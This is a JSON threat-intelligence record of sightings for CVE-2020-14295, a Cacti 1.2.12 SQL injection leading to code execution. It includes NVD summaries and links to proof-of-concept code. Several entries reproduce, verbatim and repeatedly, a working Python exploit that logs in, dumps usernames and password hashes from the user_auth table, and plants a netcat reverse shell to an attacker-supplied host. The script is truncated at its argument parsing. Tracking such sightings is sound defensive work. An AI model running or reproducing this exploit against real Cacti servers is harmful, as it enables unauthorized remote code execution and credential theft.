{"vulnerability": "CVE-2020-1429", "sightings": [{"uuid": "641e7679-0279-4973-9203-54d97b7514da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "1ed1a402-81a5-4c0b-9402-e92bac243016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:24.000000Z"}, {"uuid": "3f306520-c79b-4bf8-8b6e-bcc273bae244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/cacti_filter_sqli_rce.rb", "content": "", "creation_timestamp": "2021-06-01T16:48:17.000000Z"}, {"uuid": "09df2f54-e1ad-42ed-8cda-0e4548c2361d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "Telegram/9HCgKR91_JMeyqsjbR4qmyN8atTWBZW9gIK462bqIYt7mQ", "content": "", "creation_timestamp": "2021-09-22T06:26:58.000000Z"}, {"uuid": "7b991e10-6cf4-4e5b-99e3-b9ee98ba6ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/278", "content": "CVE-2020-14295 Cacti 1.2.12 - 'filter' SQL\u6ce8\u5165&\u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2020-14295_Cacti_1.2.12_-_%27filter%27_SQL%E6%B3%A8%E5%85%A5%26%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-04-30T02:55:19.000000Z"}, {"uuid": "c5e6cbe6-785f-465a-bd7c-49be398a216b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3248", "content": "#exploit\nCVE-2020-14295:\nAuthenticated SQL injection to command execution on Cacti 1.2.12 (PoC)\nhttps://github.com/0z09e/CVE-2020-14295\n]-> Vulnerability details:\nhttps://github.com/Cacti/cacti/issues/3622", "creation_timestamp": "2021-04-30T11:02:06.000000Z"}, {"uuid": "75e8ddd1-f58d-46e3-86ad-b34532db4298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14296", "type": "seen", "source": "https://t.me/cibsecurity/14034", "content": "ATENTION\u203c New - CVE-2020-14296\n\nRed Hat CloudForms 4.7 and 5 was vulnerable to Server-Side Request Forgery (SSRF) flaw. With the access to add Ansible Tower provider, an attacker could scan and attack systems from the internal network which are not normally accessible.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-08-11T18:55:23.000000Z"}, {"uuid": "9cac578f-eb9e-4b0d-9c6a-ff52209a2cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14299", "type": "seen", "source": "https://t.me/cibsecurity/15328", "content": "\u203c CVE-2020-14299 \u203c\n\nA flaw was found in JBoss EAP, where the authentication configuration is set-up using a legacy SecurityRealm, to delegate to a legacy PicketBox SecurityDomain, and then reloaded to admin-only mode. This flaw allows an attacker to perform a complete authentication bypass by using an arbitrary user and password. The highest threat to vulnerability is to system availability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-10-16T18:42:23.000000Z"}, {"uuid": "ecc78fc0-7f92-48e0-a7a2-74e3afcc198a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "Telegram/0_ZePU3z1OawFEHN1iA2HBha57r29KdDO83DysbbQUG6xbo", "content": "", "creation_timestamp": "2026-09-02T01:00:17.832776Z"}, {"uuid": "ca9e3042-c532-4886-a964-57eeb2431d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://t.me/cissp/3082", "content": "Ubuntu High Severity Vulnerability leads to Privilege Escalation:\nhttps://ubuntu.com/security/CVE-2021-3493#:~:text=The%20overlayfs%20implementation%20in%20the,in%20an%20underlying%20file%20system.\n\nHere is the exploit of CVE-2021-3493:-\n[only for educational purpose]\ud83d\ude1c\nhttps://github.com/briskets/CVE-2021-3493\n\nParallels Desktop RDPMC Hypercall Interface\nand Vulnerabilities (PoC for CVE-2021-31424,\nCVE-2021-31427 in UEFI variable services)\nhttps://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities\n\nexploit\nCVE-2020-14295:\nAuthenticated SQL injection to command execution on Cacti 1.2.12 (PoC)\ud83d\ude01\nhttps://github.com/0z09e/CVE-2020-14295\n]-> Vulnerability details:\nhttps://github.com/Cacti/cacti/issues/3622", "creation_timestamp": "2026-09-01T17:00:52.362077Z"}, {"uuid": "07de7dbb-cb2c-4dbe-ac7d-e84f4b8d1e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://t.me/hacking_Attack/6874", "content": "Exploit Collector\nCacti 1.2.12 SQL Injection / Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png \nCacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.\n\nMD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3\n\nDownload\n# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution\n# Date: 04/28/2021\n# Exploit Author: Leonardo Paiva\n# Vendor Homepage: https://www.cacti.net/\n# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz\n# Version: 1.2.12\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2020-14295\n# Credits: @M4yFly (https://twitter.com/M4yFly)\n# References:\n# https://github.commandcom/Cacti/cacti/issues/3622\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295\n\n#!/usr/bin/python3\n\nimport argparse\nimport requests\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n# proxies = {'http': 'http://127.0.0.1:8080'}\ndef login(url, username, password, session):\nprint(\"[+] Connecting to the server...\")\nget_token_request = session.get(url + \"/cacti/index.php\", timeout=5) #, proxies=proxies)\n\nprint(\"[+] Retrieving CSRF token...\")\nhtml_content = get_token_request.text\nsoup = BeautifulSoup(html_content, 'html.parser')\n\ncsrf_token = soup.find_all('input')[0].get('value').split(';')[0]\n\nif csrf_token:\nprint(f\"[+] Got CSRF token: {csrf_token}\")\nprint(\"[+] Trying to log in...\")\n\ndata = {\n'__csrf_magic': csrf_token,\n'action': 'login',\n'login_username': username,\n'login_password': password\n}\n\nlogin_request = session.post(url + \"/cacti/index.php\", data=data) #, proxies=proxies)\nif \"Invalid User Name/Password Please Retype\" in login_request.text:\nprint(\"[-] Unable to log in. Check your credentials\")\nsys.exit()\nelse:\nprint(\"[+] Successfully logged in!\")\nelse:\nprint(\"[-] Unable to retrieve CSRF token!\")\nsys.exit()\ndef exploit(lhost, lport, session):\nrshell = urllib.parse.quote(f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f\")\npayload = f\"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-\"\n\nexploit_request = session.get(url + f\"/cacti/color.php?action=export&header=false&filter=1{payload}\") #, proxies=proxies)\n\nprint(\"\\n[+] SQL Injection:\")\nprint(exploit_request.text)\n\ntry:\nsession.get(url + \"/cacti/host.php?action=reindex\", timeout=1) #, proxies=proxies)\nexcept Exception:\npass\n\nprint(\"[+] Check your nc listener!\")\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')\n\nparser.add_argument('-t', metavar='\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:44.786231Z"}, {"uuid": "9ce8f2d7-b8ac-4bc7-91ab-f814f2bd1f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://t.me/hacking_Attack/6874", "content": "Exploit Collector\nCacti 1.2.12 SQL Injection / Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png \nCacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.\n\nMD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3\n\nDownload\n# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution\n# Date: 04/28/2021\n# Exploit Author: Leonardo Paiva\n# Vendor Homepage: https://www.cacti.net/\n# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz\n# Version: 1.2.12\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2020-14295\n# Credits: @M4yFly (https://twitter.com/M4yFly)\n# References:\n# https://github.commandcom/Cacti/cacti/issues/3622\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295\n\n#!/usr/bin/python3\n\nimport argparse\nimport requests\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n# proxies = {'http': 'http://127.0.0.1:8080'}\ndef login(url, username, password, session):\nprint(\"[+] Connecting to the server...\")\nget_token_request = session.get(url + \"/cacti/index.php\", timeout=5) #, proxies=proxies)\n\nprint(\"[+] Retrieving CSRF token...\")\nhtml_content = get_token_request.text\nsoup = BeautifulSoup(html_content, 'html.parser')\n\ncsrf_token = soup.find_all('input')[0].get('value').split(';')[0]\n\nif csrf_token:\nprint(f\"[+] Got CSRF token: {csrf_token}\")\nprint(\"[+] Trying to log in...\")\n\ndata = {\n'__csrf_magic': csrf_token,\n'action': 'login',\n'login_username': username,\n'login_password': password\n}\n\nlogin_request = session.post(url + \"/cacti/index.php\", data=data) #, proxies=proxies)\nif \"Invalid User Name/Password Please Retype\" in login_request.text:\nprint(\"[-] Unable to log in. Check your credentials\")\nsys.exit()\nelse:\nprint(\"[+] Successfully logged in!\")\nelse:\nprint(\"[-] Unable to retrieve CSRF token!\")\nsys.exit()\ndef exploit(lhost, lport, session):\nrshell = urllib.parse.quote(f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f\")\npayload = f\"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-\"\n\nexploit_request = session.get(url + f\"/cacti/color.php?action=export&header=false&filter=1{payload}\") #, proxies=proxies)\n\nprint(\"\\n[+] SQL Injection:\")\nprint(exploit_request.text)\n\ntry:\nsession.get(url + \"/cacti/host.php?action=reindex\", timeout=1) #, proxies=proxies)\nexcept Exception:\npass\n\nprint(\"[+] Check your nc listener!\")\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')\n\nparser.add_argument('-t', metavar='\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:20.131621Z"}, {"uuid": "1ccbb704-0813-4dd3-b4cf-60aa9da92405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://t.me/cissp/3082", "content": "Ubuntu High Severity Vulnerability leads to Privilege Escalation:\nhttps://ubuntu.com/security/CVE-2021-3493#:~:text=The%20overlayfs%20implementation%20in%20the,in%20an%20underlying%20file%20system.\n\nHere is the exploit of CVE-2021-3493:-\n[only for educational purpose]\ud83d\ude1c\nhttps://github.com/briskets/CVE-2021-3493\n\nParallels Desktop RDPMC Hypercall Interface\nand Vulnerabilities (PoC for CVE-2021-31424,\nCVE-2021-31427 in UEFI variable services)\nhttps://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities\n\nexploit\nCVE-2020-14295:\nAuthenticated SQL injection to command execution on Cacti 1.2.12 (PoC)\ud83d\ude01\nhttps://github.com/0z09e/CVE-2020-14295\n]-> Vulnerability details:\nhttps://github.com/Cacti/cacti/issues/3622", "creation_timestamp": "2026-09-02T01:04:41.427324Z"}, {"uuid": "01ec6e6b-e84e-4cf5-8ccb-13a9c965eead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "Telegram/0_ZePU3z1OawFEHN1iA2HBha57r29KdDO83DysbbQUG6xbo", "content": "", "creation_timestamp": "2026-09-03T00:00:38.485185Z"}, {"uuid": "86773193-9050-429d-bcc9-df321179543f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/cacti_filter_sqli_rce.rb", "content": "{\"aliases\": [], \"arch\": \"php\", \"author\": [\"h00die\", \"Leonardo Paiva\", \"Mayfly277\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a SQL injection vulnerability in Cacti 1.2.12 and before. An admin can exploit the filter\\n          variable within color.php to pull arbitrary values as well as conduct stacked queries. With stacked queries, the\\n          path_php_binary value is changed within the settings table to a payload, and an update is called to execute the payload.\\n          After calling the payload, the value is reset.\", \"disclosure_date\": \"2020-06-17\", \"fullname\": \"exploit/unix/http/cacti_filter_sqli_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"Cacti color filter authenticated SQLi to RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"config-changes\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/unix/http/cacti_filter_sqli_rce.rb\", \"platform\": \"PHP\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"unix/http/cacti_filter_sqli_rce\", \"references\": [\"EDB-49810\", \"URL-https://github.com/Cacti/cacti/issues/3622\", \"CVE-2020-14295\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Automatic Target\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:35.126758Z"}, {"uuid": "bfdd3254-6512-49bd-aff8-5fb5f48d102e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/6874", "content": "Exploit Collector\nCacti 1.2.12 SQL Injection / Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png \nCacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.\n\nMD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3\n\nDownload\n# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution\n# Date: 04/28/2021\n# Exploit Author: Leonardo Paiva\n# Vendor Homepage: https://www.cacti.net/\n# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz\n# Version: 1.2.12\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2020-14295\n# Credits: @M4yFly (https://twitter.com/M4yFly)\n# References:\n# https://github.commandcom/Cacti/cacti/issues/3622\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295\n\n#!/usr/bin/python3\n\nimport argparse\nimport requests\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n# proxies = {'http': 'http://127.0.0.1:8080'}\ndef login(url, username, password, session):\nprint(\"[+] Connecting to the server...\")\nget_token_request = session.get(url + \"/cacti/index.php\", timeout=5) #, proxies=proxies)\n\nprint(\"[+] Retrieving CSRF token...\")\nhtml_content = get_token_request.text\nsoup = BeautifulSoup(html_content, 'html.parser')\n\ncsrf_token = soup.find_all('input')[0].get('value').split(';')[0]\n\nif csrf_token:\nprint(f\"[+] Got CSRF token: {csrf_token}\")\nprint(\"[+] Trying to log in...\")\n\ndata = {\n'__csrf_magic': csrf_token,\n'action': 'login',\n'login_username': username,\n'login_password': password\n}\n\nlogin_request = session.post(url + \"/cacti/index.php\", data=data) #, proxies=proxies)\nif \"Invalid User Name/Password Please Retype\" in login_request.text:\nprint(\"[-] Unable to log in. Check your credentials\")\nsys.exit()\nelse:\nprint(\"[+] Successfully logged in!\")\nelse:\nprint(\"[-] Unable to retrieve CSRF token!\")\nsys.exit()\ndef exploit(lhost, lport, session):\nrshell = urllib.parse.quote(f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f\")\npayload = f\"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-\"\n\nexploit_request = session.get(url + f\"/cacti/color.php?action=export&header=false&filter=1{payload}\") #, proxies=proxies)\n\nprint(\"\\n[+] SQL Injection:\")\nprint(exploit_request.text)\n\ntry:\nsession.get(url + \"/cacti/host.php?action=reindex\", timeout=1) #, proxies=proxies)\nexcept Exception:\npass\n\nprint(\"[+] Check your nc listener!\")\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')\n\nparser.add_argument('-t', metavar='\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T08:00:05.725189Z"}, {"uuid": "d95788be-3e3e-4795-80eb-ca882975aad3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-14295", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/6874", "content": "Exploit Collector\nCacti 1.2.12 SQL Injection / Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png \nCacti version 1.2.12 remote code execution exploit that leverages a remote SQL vulnerability.\n\nMD5 | 7d02b8eae5a01a746cf44cba4c1fe1a3\n\nDownload\n# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution\n# Date: 04/28/2021\n# Exploit Author: Leonardo Paiva\n# Vendor Homepage: https://www.cacti.net/\n# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz\n# Version: 1.2.12\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2020-14295\n# Credits: @M4yFly (https://twitter.com/M4yFly)\n# References:\n# https://github.commandcom/Cacti/cacti/issues/3622\n# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295\n\n#!/usr/bin/python3\n\nimport argparse\nimport requests\nimport sys\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n# proxies = {'http': 'http://127.0.0.1:8080'}\ndef login(url, username, password, session):\nprint(\"[+] Connecting to the server...\")\nget_token_request = session.get(url + \"/cacti/index.php\", timeout=5) #, proxies=proxies)\n\nprint(\"[+] Retrieving CSRF token...\")\nhtml_content = get_token_request.text\nsoup = BeautifulSoup(html_content, 'html.parser')\n\ncsrf_token = soup.find_all('input')[0].get('value').split(';')[0]\n\nif csrf_token:\nprint(f\"[+] Got CSRF token: {csrf_token}\")\nprint(\"[+] Trying to log in...\")\n\ndata = {\n'__csrf_magic': csrf_token,\n'action': 'login',\n'login_username': username,\n'login_password': password\n}\n\nlogin_request = session.post(url + \"/cacti/index.php\", data=data) #, proxies=proxies)\nif \"Invalid User Name/Password Please Retype\" in login_request.text:\nprint(\"[-] Unable to log in. Check your credentials\")\nsys.exit()\nelse:\nprint(\"[+] Successfully logged in!\")\nelse:\nprint(\"[-] Unable to retrieve CSRF token!\")\nsys.exit()\ndef exploit(lhost, lport, session):\nrshell = urllib.parse.quote(f\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f\")\npayload = f\"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-\"\n\nexploit_request = session.get(url + f\"/cacti/color.php?action=export&header=false&filter=1{payload}\") #, proxies=proxies)\n\nprint(\"\\n[+] SQL Injection:\")\nprint(exploit_request.text)\n\ntry:\nsession.get(url + \"/cacti/host.php?action=reindex\", timeout=1) #, proxies=proxies)\nexcept Exception:\npass\n\nprint(\"[+] Check your nc listener!\")\n\nif __name__ == '__main__':\nparser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')\n\nparser.add_argument('-t', metavar='\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-09T00:00:37.346372Z"}]}